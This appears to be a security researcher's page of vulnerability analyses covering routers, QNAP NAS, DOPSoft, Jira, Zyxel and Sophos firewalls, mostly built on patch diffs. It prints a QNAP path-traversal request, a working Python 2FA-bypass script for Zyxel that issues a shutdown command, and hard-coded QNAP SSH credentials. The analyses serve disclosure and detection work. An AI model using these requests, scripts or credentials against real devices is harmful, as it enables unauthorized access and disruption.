jbaines-r7 (76)

Last Login: September 09, 2022

jbaines-r7's Latest (20) Contributions

Sort by:
Filter by:
Technical Analysis

CVE-2022-27255 was presented at DEF CON 30 in August 2022. The researchers have shared their slides, exploits, and research scripts on GitHub, for which we thank them profusely. CVE-2022-27255 is a memory corruption vulnerability when eCos parses SIP packets containing crafted SDP (during NAT translation). Because eCos is used by a variety of SOHO routers, the vulnerability is present in a wide range of devices shipped by a number of different organizations. At the time of writing, the set of vulnerable systems was believed to be:

Nexxt Nebula 300 Plus
Tenda F6 V5.0
Tenda F3 V3
Tenda F9 V2.0
Tenda AC5 V3.0
Tenda AC6 V5.0
Tenda AC7 V4.0
Tenda A9 V3
Tenda AC8 V2.0
Tenda AC10 V3
Tenda AC11 V2.0
Tenda FH456 V4.0
Zyxel NBG6615 V1.00
Intelbras RF 301K V1.1.15
Multilaser AC1200 RE018
iBall 300M-MIMO (iB-WRB303N)
Brostrend AC1200 extender
MT-Link MT-WR850N
MT-Link MT-WR950N
Everest EWR-301
D-Link DIR-822 h/w version B
Speedefy K4
Ultra-Link Wireless N300 Universal Range Extender
Keo KLR 301
Nisuta NS-WIR303N (probably V2)
Rockspace AC2100 Dual Band Wi-Fi Range Extender
Hikvision DS-3WR12-E

Also, at the time of writing, it is believed that none of these devices have been patched for the vulnerability yet.

The researchers have shared a proof of concept video and an exploit for the Nexxt Nebula 300 Plus. The downside of the researchers choosing the Nexxt Nebula 300 Plus is that it appears to be very difficult to acquire, but you can still download the firmware and test out some of their other tooling.

The only thing preventing this vulnerability from receiving widespread attention is that each router is going to need slightly different shell code. If someone were to spend time writing exploits for a majority of these targets, I think this would receive a good deal of attention, and be pretty useful. But until then, I fear that this will remain somewhat obscure to most hackers in the community.

  • Attacker Value
    Very High
  • Exploitability
Technical Analysis

On September 3, 2022, QNAP issued a security advisory, QSA-22-24, detailing active exploitation of a vulnerability affecting QNAP NAS devices with Photo Station installed. QNAP’s advisory contained almost no useful details beyond affected versions. The advisory didn’t say if the attack required authentication or not. It didn’t indicate if the attack was some type of bypass or code execution issue. It didn’t clarify if user interaction might play a role. QNAP waited five days to assign CVE-2022-27593 on September 8, 2022.

In order to be affected by CVE-2022-27593, the QNAP NAS must have the Photo Station “app” installed on the device. Photo Station is not installed by default, but appears to be a popular app. QNAP indicates the following versions are affected:

  • QTS 5.0.1: Photo Station 6.1.2 and later
  • QTS 5.0.0/4.5.x: Photo Station 6.0.22 and later
  • QTS 4.3.6: Photo Station 5.7.18 and later
  • QTS 4.3.3: Photo Station 5.4.15 and later
  • QTS 4.2.6: Photo Station 5.2.14 and later

CVE-2022-27593 is reportedly being exploited in the wild by the Deadbolt ransomware crew. Censys currently finds more than 1,000 NAS that have fallen victim to Deadbolt. No public exploit code exists, although this write up will introduce, what we believe to be, the basis of the exploit.

Patch Diff

We did patch analysis on Photo Station 5.2.13, 5.2.14, 6.0.21, and 6.0.22. Only this change really stood out to us:

--- ./PhotoStation_6.0.21/photostation2/combine.php	2022-06-01 11:05:40.000000000 -0700
+++ ./PhotoStation_6.0.22/photostation2/combine.php	2022-09-03 06:08:16.000000000 -0700
@@ -180,7 +180,7 @@
 		if ($cache) {
 			// Try the cache first to see if the combined files were already generated
-			$cachefile = 'cache-' . $_GET['g'] . '-' . $hash . '.' . $type . ($encoding != 'none' ? '.' . $encoding : '');
+			$cachefile = 'cache-' . $hash . '.' . $type . ($encoding != 'none' ? '.' . $encoding : '');

This change in combine.php removes the attacker’s ability to influence the name of $cachefile. The $cachefile variable is eventually used to write a file to disk:

if ($fp = fopen($cachedir . '/' . $cachefile, 'wb')) {
	fwrite($fp, $contents);
	chmod($cachedir . '/' . $cachefile, 0777);

combine.php intends to optimize downloading of Photo Station’s .js and .css files by combining them into a single file and caching that single file on disk for later retrieval. It’s dubious how effective this strategy is given the likely close proximity of the user and the NAS, but that is what it exists to do. The user (attacker) has no control over the file contents, as combine.php operates on a predefined list of files.

The cached files are written in /share/CACHEDEV1_DATA/.qpkg/photostation2/cache/, which notably doesn’t contain any subdirectories (important later). Here is an example of some legitimate cache files:

[albinolobster@NAS4A32F3 cache]$ pwd
[albinolobster@NAS4A32F3 cache]$ ls -l
total 336
-rwxrwxrwx 1 admin administrators 272577 2022-09-07 18:55 cache-gallery-860177714-b5e445c04a689b88e2ae9b41ed1ee3b9.javascript.gzip*
-rwxrwxrwx 1 admin administrators  67946 2022-09-07 18:55 cache-main-845839342-2deda6ba098a12d8abccf909ae63cc6e.css.gzip*
[albinolobster@NAS4A32F3 cache]$ 

However, as we see in the diff above, the attacker has some influence over the filename using the g parameter — although g itself has requirements that prevent the attacker from fully controlling the parameter. g must start with a predefined group value and use - to separate strings.

$group = explode('-', $_GET['g']);

switch ($group[0]) {
	case 'core':

Adding to the complication, the $cachefile has additional strings prepended and appended that the attacker has almost no influence over.

However, due to an odd quirk of PHP’s fopen, an attacker can traverse out of the cache directory and write the cache files to arbitrary locations. Normally a directory traversal requires a complete and valid path. For example, consider the following PHP code and the bash output from my Ubuntu box.


    if ($fp = fopen('/tmp/../wat/../tmp/r7_test', 'wb')) {
	    fwrite($fp, 'hi');
	    chmod('/tmp/../wat/../tmp/r7_test', 0777);
albinolobster@ubuntu:~$ ls -l /tmp/r7_test
ls: cannot access '/tmp/r7_test': No such file or directory
albinolobster@ubuntu:~$ ls -l /tmp/../wat/../tmp/r7_test
ls: cannot access '/tmp/../wat/../tmp/r7_test': No such file or directory
albinolobster@ubuntu:~$ php travesal.php 
PHP Warning:  chmod(): No such file or directory in /home/albinolobster/travesal.php on line 6
albinolobster@ubuntu:~$ ls -l /tmp/../wat/../tmp/r7_test
ls: cannot access '/tmp/../wat/../tmp/r7_test': No such file or directory
albinolobster@ubuntu:~$ ls -l /tmp/r7_test
-rw-rw-r-- 1 albinolobster albinolobster 2 Sep  8 07:48 /tmp/r7_test
albinolobster@ubuntu:~$ ls -l /wat/
ls: cannot access '/wat/': No such file or directory

Above, you can see that ls -l /tmp/../wat/../tmp/r7_test fails because /wat/ doesn’t exist. However, fopen('/tmp/../wat/../tmp/r7_test', 'wb') successfully creates /tmp/r7_test despite the missing directory. That’s important to the QNAP’s combine.php because:

  • The attacker has sufficient control to add directory traversal characters, but doesn’t have control over the $cachefileinitial characters.
  • The cache directory doesn’t contain any subdirectories.

This odd behavior of fopen means that an attacker should be able to use the g parameter to traverse through the system. Here is a curl-based example of using the g parameter to write to /share/CACHEDEV1_DATA/.qpkg/ instead of `/share/CACHEDEV1_DATA/.qpkg/photostation2/cache.

albinolobster@ubuntu:~$ curl -kv "" --output /dev/null
*   Trying
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connected to ( port 8080 (#0)
> GET /photo/combine.php?type=javascript&g=core-r7rules/../../../hello.php. HTTP/1.1
> Host:
> User-Agent: curl/7.68.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 08 Sep 2022 19:54:52 GMT
< Server: Apache
< Etag: "3e0c25bbe8bf3a21ee345dff99f111f2"
< Last-Modified: 1654107034
< Cache-Control: public, max-age=31536000
< X-Frame-Options: SAMEORIGIN
< Upgrade: h2
< Connection: Upgrade
< Content-Length: 982250
< Content-Type: application/javascript
{ [4037 bytes data]
100  959k  100  959k    0     0  6900k      0 --:--:-- --:--:-- --:--:-- 6900k
* Connection #0 to host left intact

Which results in the following output from the NAS’s SSH CLI:

[albinolobster@NAS4A32F3 cache]$ ls -l ../../
total 980
-rw-r--r--  1 admin administrators 982250 2022-09-08 15:54 hello.php.-3e0c25bbe8bf3a21ee345dff99f111f2.javascript
drwxrwxrwx  7 admin administrators   4096 2022-09-06 15:51 MultimediaConsole/
drwxrwxr-x  5 admin administrators   4096 2022-06-01 14:11 PhotoStation/
drwxr-xr-x 14 admin administrators   4096 2022-09-06 18:33 photostation2/
drwxr-xr-x  3 admin administrators   4096 2022-07-08 15:37 phpMyAdmin/
drwxr-xr-x 10 admin administrators   4096 2022-07-15 16:07 QsyncServer/
[albinolobster@NAS4A32F3 cache]$ 

This is not a demonstration of remote code execution. All we’ve demonstrated so far is that files can be created anywhere on disk with the attacker maintaining partial control of the filename but no control of the file contents. Technically speaking, we have demonstrated a vulnerability though. We could fill up the disk using this curl command because we’ve now escaped combine.php’s clean-up logic:

//remove residual files before saving the cache
if ($type == 'css') {
exec('/bin/rm -f ' . escapeshellarg($cachedir) . '/cache-' . escapeshellarg($group[0]) . '*.css.gzip');
} else if($type == 'javascript') {
	exec('/bin/rm -f ' . escapeshellarg($cachedir) . '/cache-' .escapeshellarg( $group[0]) . '*.javascript.gzip');

But to achieve remote code execution, there needs to be an additional sink — presumably something that will mishandle the filename the attacker assigns. That seems in line with the CWE assigned by QNAP. QNAP assigned CWE-610, *Externally Controlled Reference to a Resource in Another Sphere”, which is a parent of CWE-73, External Control of File Name or Path. So, while we may not have demonstrated the exact code execution sink here, we believe this is the correct primitive and sufficient to write signatures and detections against.

  • Attacker Value
  • Exploitability
    Very Low
Technical Analysis

Edit: At 4:43pm EST on September 2, 2022, Director of CISA Jen Easterly responded to this entry via tweet. We appreciate the update and look forward to more improvements in the future.

CVE-2021-38406 Shouldn’t Be on the CISA KEV List

On August 25, 2022, CISA added CVE-2021-38406 to their Known Exploited Vulnerabilities (KEV) Catalog. This was a significant addition to KEV because CVE-2021-38406 affects Delta Industrial Automation’s DOPSoft software. This addition to the KEV catalog is almost certainly a mistake, which we’ll discuss below in great detail. Technically, they might have included this CVE on purpose, but that would mean that CISA just low-key dropped some huge news about the next Stuxnet, which is unlikely to the point of unbelievability. But, you decide!

CVE-2021-38406 KEV Entry

What’s DOPSoft and CVE-2021-38406?

DOPSoft is HMI programming software. An attacker that exploits DOPSoft can potentially find themselves on an engineering workstation within the ICS network and with specialized programming access to local HMI. That’s a very critical and dangerous place for any attacker to be.

CVE-2021-38406 reportedly affects DOPSoft’s parsing of project files. That’s notable because, despite vulnerabilities affecting all sorts of ICS project files, there have been very few publicly disclosed examples of project file infections used in the wild. The only examples we’re aware of are Stuxnet (Step7 project files) and AutoCAD/AutoLISP project file malware. With this KEV entry, CISA has disclosed a unique and ICS-specific attack being exploited in the wild.

Of course, that’s if you only look at the surface level information that CISA provides. The reality is that this CVE doesn’t affect DOPSoft project files, and there is evidence that suggests the CVE was added to the catalog in error. Let’s dive deeper.

The CVE Description is Bad

CISA includes the CVE’s description in their KEV entry. The description for CVE-2021-38406 follows:

Delta Electronic DOPSoft 2 (Version 2.00.07 and prior) lacks proper validation of user-supplied data when parsing specific project files. This could result in multiple out-of-bounds write instances. An attacker could leverage this vulnerability to execute code in the context of the current process.

ICS-CERT is the credited CNA and therefore the likely culprit for this misleading description. The vulnerability was actually discovered by the prolific vulnerability researcher, kimiya, and disclosed through the Zero Day Initiative (ZDI). The vulnerability description provided by ZDI for CVE-2021-38406 is much more specific.

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Industrial Automation DOPSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of XLS files. The issue results from the lack of proper validation of user-supplied data, which can result in a write past the end of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.

Here we can see that ZDI says the vulnerability affects xls files. Notably, xls files are not DOPSoft project files. xls is a Microsoft Excel format. Use of the Microsoft XLS file format is only associated with one feature of DOPSoft, and that’s multi-language support. The software can support multiple language texts on any given widget. For example, this DOPSoft screenshot shows a text block that can present as “hello world!” in English, Spanish, or German.

hello world!

DOPSoft allows the programmer to export the multi-language data as an xls file, presumably, so language specialists can review/edit the content, and then the programmer can import updated versions of the text. This is all done through the Edit drop-down menu when a project is already loaded.


When the data is exported, it looks exactly how you’d expect:


According to ZDI, the vulnerability is exploitable when a new multi-language xls is imported. Which means, getting back to the topic at hand, DOPSoft project files are not affected as ICS-CERT indicated. The xls file is not a project file (e.g. it doesn’t control logic on an HMI, nor can it be used to launch DOPSoft). DOPSoft project files use the dps, dpb, or dop extension.

The only way the xls could be considered a project file is if the Import Multi-Language Text functionality embedded the xls in a DOPSoft project file. That would be a little strange, but not inconceivable (it’s ICS software after all). So we decided to pull apart the DOPSoft project file format in order to find an embedded xls.

File Format Exploration

It’s important to know if the xls is contained within DOPSoft project files, not just to nit-pick ICS-CERT, but to determine how many clicks are required to exploit a victim. The affected software is end-of-life and hasn’t been patched for CVE-2021-38406, so understanding the full attack is important when discussing remediation guidance. If the xls file is contained within a project file then double clicking on the project will trigger the xls parsing and exploit the victim. If the xls is only parsed during Import Multi-Language Text then an attacker has to get a victim to launch DOPSoft, load a project, and then import the malicious xls. Both scenarios are obviously doable, but the second is more involved (and therefore less likely).

The DOPSoft dps project file is split into two parts. By default, the first part is essentially empty (a bitmap filled with 0xfc). The second part contains gzip compressed data.

file format

The compressed data explodes into a large binary blob of unknown format with a short ASCII preamble (“Delta-HMI Screen Editor DOP V1010”).


We spent some time in windbg figuring out what this unknown format is. Turns out, the file is xor encoded after the first 42 bytes. So we trim the project file:

tail -c +42 B8B6 > B8B6.xor

And run the following Python script to deobfuscate it:

f = open('B8B6.xor', "rb")
g = open('B8B6.deobfs', "w")

    while True:
        byte = f.read(1)
        if byte == '' or len(byte) == 0:
        xbyte = chr(ord(byte) ^ 0x64)


And the result is a very large ini file.

PanelSeries=DOP-B series
PanelName=DOP-B10E615 65536 Colors
ControllerName0=Delta DVP PLC
… truncated …

Most importantly, we find that the ini file contains no xls data. Instead, the multi-language data is represented as normal ini entries. Below you can see our three hello worlds!:

h\00e\00l\00l\00o\00 \00w\00o\00r\00l\00d\00!\00\00\00
FontName1=Arial Greek
h\00o\00l\00a\00 \00m\00u\00\00\00\00\00o\00!\00\00\00
h\00a\00l\00l\00o\00 \00w\00e\00l\00t\00!\00\00\00

Which means, we don’t think ICS-CERT’s description is correct. The project file does not contain an xls file, so it will never trigger CVE-2021-38406. An attacker is required to trick the victim into loading the malicious xls via the Import Multi-Language Text feature. Users should be able to continue safely using DOPSoft affected by CVE-2021-38406, as long as they avoid using the multi-language import feature.

Ok. Fine. But Was It Exploited in the Wild?!

Exploitation might be complicated in a real world scenario. But it’s still doable. The conditions are actually ideal.


The question, “Does CVE-2021-38406 belong in the KEV catalog?” remains relevant even if the CVE description is bad.

CISA calls the KEV catalog the authoritative source of vulnerabilities that have been exploited in the wild. However, CISA never provides any justification for the items they add, or don’t add, to the catalog. Entries are simply added and that’s that. But anyone that has been involved with the entry adding process knows that CISA largely relies on open source reporting from the security industry in order to populate the catalog. They’ve chosen to never credit or even cite their sources, opting instead to represent the work as their own, for reasons we won’t speculate on here.

Regardless, the lack of citation/proof makes challenging any entry on the list almost impossible. Each KEV entry requires action by federal civilian executive branch agencies due to the Binding Operation Directive 22-01. Each erroneous entry wastes time, resources, and taxpayer money, not just in the federal space but the myriad security companies that have been, more or less, forced to support the KEV catalog in their products. Not to mention the potential reputational harm an incorrect entry might cause. The fact that CISA provides no evidence and provides no obvious avenues for dissent is problematic.

Which brings us back to the subject at hand. CVE-2021-38406 was added to the KEV catalog along with 9 other vulnerabilities on August 25, 2022. Three of the newly added vulnerabilities, CVE-2022-22963 (Spring Cloud), CVE-2022-24112 (Apache APISIX), and CVE-2021-39226 (Grafana), were included in an August 19, 2022 article by Unit 42 called, Network Security Trends: Recent Exploits Observed in the Wild Include Remote Code Execution, Cross-Site Scripting and More. The article details exploits seen in the wild. Additionally, Unit 42 accidentally tagged the article with the DOPSoft CVE, CVE-2021-38406.

unit42 header

We know this inclusion was accidental because Unit 42 does not discuss the vulnerability, even in passing, at any point in the article. Also, their data collection method, pictured below, would not be able to detect exploitation of CVE-2021-38406 because it’s a local exploit requiring (fairly significant) user interaction.

unit42 collection

The IPS might see a malformed xls file over network traffic, but that isn’t quite the same as seeing an actual exploitation attempt.

And, finally, we know CVE-2021-38406 was accidentally tagged in that article because we were told so:

unit42 correction


There is no other open source information indicating that CVE-2021-38406 has been exploited in the wild. Could it be that CISA knows this vulnerability, which requires significant user interaction to exploit niche ICS software, was exploited in the wild? Or is it more likely that CISA was lifting CVEs from Unit 42’s blog and erroneously included CVE-2021-38406 because it was mistakenly included in the article?

Finally, this research demonstrates that we clearly need some kind of mechanism to challenge weird-looking updates to the KEV list to avoid burning a lot of time, effort, money, and heartache on chasing vulnerabilities that many, many people must chase because they’re subject to BOD-22-1.

edit: Title changed as per request at 4:22pm EST on Sept. 2, 2022


According to the QNAP forums, where it appears this vulnerability was first disclosed by a user, this vulnerability is hard-coded credentials affecting the SSH interface. The vulnerability only works when vulnerable versions of the app HBS 3 Hybrid Backup Sync is installed. The credentials are walter:walter.

Although more than a year old now, Greynoise’s QNAP walter SSH Backdoor Attempt tag notes that exploitation attempts are ongoing.

Technical Analysis

CVE-2022-26134 is an unauthenticated and remote OGNL injection that is trivial to exploit. See the Rapid7 analysis for additional details.

  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This vulnerability is an easy to exploit unauthenticated and remote OS command injection vulnerability. Please see the Rapid7 analysis for details.

  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This is a very easy to exploit issue. See the Rapid7 analysis for details.

  • Attacker Value
    Very Low
  • Exploitability
Technical Analysis

On February 15, 2022, Atlassian released Jira Software updates to address CVE-2022-0540. On April 20, Atlassian finally published the CVE and released a security advisory detailing the issue. CVE-2022-0540 is an authentication bypass issue that appears to be improper access control on some endpoints. The vulnerable code exists in Jira core, but only affects downstream “apps” that integrate with Jira. Additionally, an app is only vulnerable if it does not take steps to independently “enforce additional security checks.” Jira cloud services are not affected.

Jira lists two of its own “bundled” apps as affected: Mobile Plugin for Jira and Insight – Asset Management. However, their FAQ also states that Mobile Plugin for Jira is not exploitable due to the aforementioned additional security checks and Insight – Asset Management requires both authentication and special permissions to exploit it. It appears that Atlassian based their CVSS3 9.9 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L) on the Insight – Asset Management attack case. Although, the score seems artificially inflated by use of S:C.

While Jira lists approximately 200 affected apps in their disclosure, we do not expect this issue to see widespread exploitation. The actual impact of the bypass is dependent on the functionality exposed by the app’s vulnerable endpoint. There may be a high impact vulnerable app, but the install base of specific apps is going to be significantly smaller than the Jira install base. Coupled with the fact that this issue has been fixed for more than 2 months, and cloud services are not affected, exploitation will be spotty at best (if at all).

Helpful Links

  • Attacker Value
    Very Low
  • Exploitability
    Very Low
Technical Analysis

On March 29, 2022, Zyxel released a security advisory for an authentication bypass vulnerability affecting a handful of their firewall and VPN products. The vulnerability, assigned CVE-2022-0342, is described as allowing a remote attacker to obtain administrative access to the system, and was assigned a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

We believe widespread exploitation of this issue is unlikely. While there are a fair number of affected firewalls visible on Shodan, our analysis suggests that exploitation requires a specific configuration and partial authentication. Most firewalls will not be affected. There are currently no reports of this vulnerability being exploited in the wild, and, before this write-up, no public proof of concept existed.


The most obvious change in Zyxel’s patch was this modification of the web server’s apache configuration file:

diff -u ~/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf ~/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf 
--- /home/albinolobster/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-01-04 01:24:55.000000000 -0800
+++ /home/albinolobster/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-03-14 13:26:04.000000000 -0700
@@ -24,7 +24,8 @@
 AuthZyxelRedirect /
 AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi \
 /libcdr_blockpage.cgi \
-/cdr_cloud_block_page.html \
+/libcdr_blockpage.html \
+/libcdr_cloud_blockpage.html \
 /2FA-access.cgi \
 /webauth_ga.cgi \
 /fbwifi_error.cgi /fbwifi/ \
@@ -40,6 +41,8 @@
 /ztp/ /ztp/cgi-bin/ \
 /change-expired-password.html /chg_exp_pwd.cgi ext-js/web-pages/login/chgpw_expired.html /ext-all.css /ext-all.js /appLite.js zld_product_spec.js /showCLI.js /zyVType.js /persist-min.js /zyExtend.js /zyFunction.js /zyComponent.js /language_panel.js /ext-lang-en.js /language.js /login.css /custmiz_page.js /chgpw_expired.js /retrieveData.js /MultiSelect.js /ItemSelector.js /cmdStore.js /favicon.ico /PagingStore.js /zyform.js /ext-theme-classic-all.css /content_line.gif /content_bg.jpg /login_img.gif /login_bg.jpg /advance_bg.gif /reset.css \
+AuthZyxelSkipTwoFaPattern /ext-js/app/view/object/authmeth/twoFA/2FAVerify.html /ext-js/ext/ux/grid/FiltersFeature.js /ext-js/app/view/object/authmeth/twoFA/2FAVerify.js /ext-js/ext/ux/form/field/BoxSelect/BoxSelect.js /ext-js/ext/ux/toggleslide/ToggleSlide.js /ext-js/ext/ux/toggleslide/Thumb.js /ext-js/ext/ux/grid/menu/ListMenu.js /ext-js/ext/ux/grid/menu/RangeMenu.js /ext-js/ext/ux/grid/filter/DateFilter.js /ext-js/ext/ux/grid/filter/BooleanFilter.js /ext-js/ext/ux/grid/filter/DateTimeFilter.js /ext-js/ext/ux/grid/filter/ListFilter.js /ext-js/ext/ux/grid/filter/NumericFilter.js /ext-js/ext/ux/grid/filter/StringFilter.js /ext-js/ext/ux/grid/filter/Filter.js /ext-js/ext/src/zy2FAVerifyForm.js /cgi-bin/zysh-cgi \
 ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
 AddHandler cgi-script .cgi .py

This change introduces a second level of authentication for when two-factor authentication (2fa) is used. Corresponding changes can be found in Zyxel’s custom Apache module mod_auth_zyxel.so and the Zyxel command line shell cgi zysh-cgi.

Zyxel’s firewalls support 2fa on the administrative web interface via Google Authenticator. Like most 2fa systems, the admin user must first correctly enter their username and password before being prompted for a 2fa verification code:


On Zyxel’s firewalls affected by CVE-2022-0342, the admin user can execute Zyxel shell commands by sending HTTP POST requests to /cgi-bin/zysh-cgi without completing the 2fa verification. The following proof of concept demonstrates this by logging in as the admin user and ignoring the 2fa redirect. The script sends POST requests to execute the Zyxel shell commands show version and shutdown.

import requests
from urllib3.exceptions import InsecureRequestWarning


# Use session since the initial login will give us an auth-tok
sess = requests.Session()

login_url = ''
login_data = { 'username':'admin','pwd':'labpass1','password':'labpass1','pwd_r':'','mp_idx':0 }
headers = { 'Origin':login_url,'Referer':login_url }
resp = sess.post(login_url, data = login_data, headers=headers, allow_redirects=False, verify=False)

if resp.status_code != 302:
    print('Unexpected status code')


# Just start issuing commands :shrug:
shell_url = ''
shell_data = { 'filter':'js2','cmd':'show version','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)


# Shut 'em down
shell_url = ''
shell_data = { 'filter':'js2','cmd':'shutdown','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)


Using this script against our affected test USG Flex 100 generates the following output:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Set-Cookie': 'authtok=o+F36szSDU7Q6fPAt2ExkMkvgLZIN7YMKtFM26MRm9NckniEVqSaw1zCL7Kpt2OV; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<title>302 Found</title>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>

{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.20(ABUH.0)','_build_date':'2022-01-04 18:51:35','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

If you are reading this, the shutdown command failed.
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

After the second OK response, the firewall powers off, therefore demonstrating the 2fa bypass.

When the firewall has been patched, the attacker can still issue some commands to zysh-cgi but it appears critical commands like shutdown have been disabled. Here is output against the patched firmware version 5.21:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Set-Cookie': 'authtok=zv8CJ2l2SUbsO3FIoedxTs4i94-RdQauJEM9BzlW9PV67ttFqVLH6UhRAZwpJRQL; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<title>302 Found</title>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.21(ABUH.1)','_build_date':'2022-03-15 05:51:17','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

The cgi script still responds with OK but the shutdown is never actually executed.

Is that it?

With such a high CVSS score, it seems anticlimactic that the vulnerability is simply a 2fa bypass. It’s possible that we’ve overlooked a detail but, as far as we can tell, access to zysh-cgi requires a valid authtokand the firmware patch is almost entirely focused on this two-factor authentication mechanism. Zyxel included almost no other changes in this patch (interestingly the XSS didn’t get a CVE, but I believe you’ll find it in redirect.cgi):


Zyxel’s method of disclosure does cause me to question if we’ve overlooked something though. The description they provided for this issue makes it sound like a critical vulnerability. They could have easily described this as a 2fa bypass instead of an “authentication bypass”, and therefore downplayed the criticality of the issue. But they didn’t. Are they just playing games with useless vulnerability descriptions (sadly the norm), or is there more to this issue than we’ve described? It could be that the 2fa bypass is simply a symptom of a more critical vulnerability. That wouldn’t surprise me, but I also don’t see it.


In this writeup we demonstrated an MFA bypass that was recently fixed by Zyxel firewalls. It’s reasonable to assume that vulnerability, at least in part, is CVE-2022-0342. While likelihood of exploitation of this particular issue is low, there are a number of things administrators should do to protect themselves from future Zyxel firewall vulnerabilities:

  1. Disable remote administration on the WAN interface
  2. Enable automatic update
  3. Enable two-factor authentication on the admin account
  4. Schedule weekly reboots of the firewall
Technical Analysis

On March 25, 2022, Sophos published a critical security advisory for Sophos Firewall. The advisory details CVE-2022-1040, an authentication bypass issue affecting the firewall’s User Portal and Webadmin web interfaces. The bypass allows a remote and unauthenticated attacker to execute arbitrary code, resulting in a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Sophos has reported this vulnerability was “being used to target a small set of specific organizations primarily in the South Asia region.” There is no other public reporting confirming attempted public exploitation of this issue. No public proof of concept currently exists.

Although Sophos Firewall is fairly widely deployed (Shodan fingerprints ~50,000 instances of User Portal and ~1500 Webadmin), wide exploitation of this issue is unlikely. By default, Sophos Firewall automatically updates, and no public proof of concept exists. Both of these factors should keep exploitation down to a minimum.

The Patch

Sophos introduced two changes to address this vulnerability. This first was a change to web.xml to introduce a new filter on all requests.

